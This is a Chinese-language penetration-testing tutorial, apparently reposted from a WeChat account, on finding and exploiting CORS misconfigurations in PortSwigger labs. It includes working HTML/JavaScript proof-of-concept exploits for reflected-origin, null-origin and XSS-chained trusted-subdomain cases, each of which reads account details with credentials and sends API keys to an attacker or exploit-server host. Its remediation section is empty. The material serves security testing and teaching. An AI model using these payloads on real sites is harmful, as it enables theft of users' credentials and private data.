扫码领资料
获网安教程
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
识别 CORS 漏洞:常见攻击向量和修复策略
所有 Web 浏览器都实施称为同源策略 (SOP)的安全策略,该侧露限制域访问和检索其他域资源中的数据。SOP 策略有助于保护用户免受可能访问其敏感数据或代表其执行未经授权的操作的恶意脚本的侵害。
例如,如果business.com
尝试向metrics.com ,
默认情况下浏览器将阻止该请求,因为它来自不同的域。
尽管 SOP 听起来像是一个适当的保护策略,但它在当今相互依赖操作的技术中无法很好地扩展,例如 API 和微服务,它们需要在域之间访问和共享信息。
为此,需要一种允许跨域交互的新安全机制,称为跨域资源共享(CORS) 。
本文将介绍 CORS 工作原理的基础知识,并识别 CORS 未正确实施时可能出现的常见漏洞。我们还将学习如何测试和利用错误配置,以便在本指南结束时,我们将更好地了解如何在渗透测试评估期间测试和验证 CORS。
我将使用 Port Swigger CORS 实验室来演示测试和利用步骤。
跨域资源共享策略 (CORS)
CORS是一项安全功能,旨在有选择地放宽 SOP 限制并实现对来自不同域的资源的受控访问。CORS 规则允许域通过在响应中添加特定的 HTTP 标头来指定哪些域可以向其请求信息。
有几个与 CORS 相关的 HTTP 标头;我们主要关注两个点——Access Access-Control-Allow-Origin
和 Access-Control-Allow-Credentials
。
(*)
(表示允许所有域),也可以是逗号分隔的域列表。#All domain are allowed
Access-Control-Allow-Origin: *
#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com
#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true
#Disallow passing in the requests
Access-Control-Allow-Credentials: false
影响
识别 CORS
Access-Control-Allow-Credentials
标题并得到三个结果。识别标头后,我们选择请求并将其发送到 Repeater 进行进一步分析。1. 返回的Origins
https://attackersdomain.com
,并检查响应中的Access-Control-Allow-Origin
标头。如果它反映了您在请求中提供的确切域,则意味着该域不会过滤任何来源。Access-Control-Allow-Credentials
header 也包含在响应中并设置为true
。2. 修改Origins
metrics.com
域添加前缀或后缀将类似于attackmetrics.com
或metrics.com.attack.com
。Access-Control-Allow-Credentials
header 设置为true,因为攻击者可以创建类似的匹配域并从目标域检索敏感信息。3.具有不安全协议的受信任子域。
4. Null Origin
Origin: null
,然后查看应用程序是否设置 the Access-Control-Allow-Origin
标头为空。如果是,则意味着Null Origin已列入白名单。Access-Control-Allow-Credentials
标头设置为true
。可利用的 CORS 案例
案例 1:返回的Origins
Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
<html>
<body>
<script>
#Initialize the XMLHttpRequest object, and the application URL vairable
var req = new XMLHttpRequest();
var url = ("APPLICATION URL");
#MLHttpRequest object loads, exectutes reqListener() function
req.onload = retrieveKeys;
#Make GET request to the application accounDetails location
req.open('GET', url + "/accountDetails",true);
#Allow passing credentials with the requests
req.withCredentials = true;
#Send the request
req.send(null);
function retrieveKeys() {
location='/log?key='+this.responseText;
};
</script>
<body>
</html>
XMLHttpRequest
(XHR) 对象,以指示 Web 浏览器我们将使用 HTTP 协议与 Web 服务器之间传输数据。XHR 是一种浏览器 API,允许客户端脚本语言(例如 JavaScript)向服务器发出 HTTP 请求并动态接收其响应,而无需用户刷新页面。retrieveKeys
函数,该函数获取管理API 密钥并在加载时将响应发送给我们。Credentials
函数设置为 true。access-Control-Allow-Credentials
设置为 true。情况2:Null Origin
Access-Control-Allow-Credentials
设置为true。Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<html>
<body>
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var req = new XMLHttpRequest();
var url = 'APPLICATION URL'
req.onload = retrieveKeys;
req.open('GET', url + '/accountDetails', true);
req.withCredentials = true;
req.send(null);
function retrieveKeys() {
fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
}
</script>"></iframe>
</body>
</html>
http://192.168.1.14:5555/cors_null_poc.html
,我们将从帐户详细信息中获取 API 密钥。但是,由于我们的用户不是管理员,因此我们无法检索管理员 API 密钥。案例 3:受信任的子域
Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
ProductId=
参数中 XSS 漏洞的影响。document.location
函数添加注入有效负载的位置。然后我们将有效负载格式化为单行有效负载,以便我们可以将其传递到参数中。<script>
document.location="http://subdomain.domain.com/?productId=<script>
<script>
var req = new XMLHttpRequest();
req.onload = retrieveKeys;
req.open('GET', "APPLICATION URL/accountDetails",true);
req.withCredentials = true;
req.send(null);
function retrieveKeys() {
location='https://Exolit_Server_Hostname/log?key='+this.responseText;
};
</script>
</script>
<script>
document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
cors_poc.html
,将其托管在我们的服务器上,并将链接发送给用户。<html>
<body>
<script>
document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>
productId
参数中并检索API密钥。无法利用的情况:通配符 (*)
*
时,即使Access-Control-Allow-Credentials标头设置为 true,应用程序也不会受到攻击。原因是存在安全检查,当源设置为通配符时,该检查会禁用Allow-Credentials 标头。修复策略
以上内容由白帽子左一翻译并整理。原文:https://medium.com/r3d-buck3t/cross-origin-resource-sharing-cors-testing-guide-29616c225a0a
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):渗透测试 | 跨域资源共享 (CORS) 测试指南
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论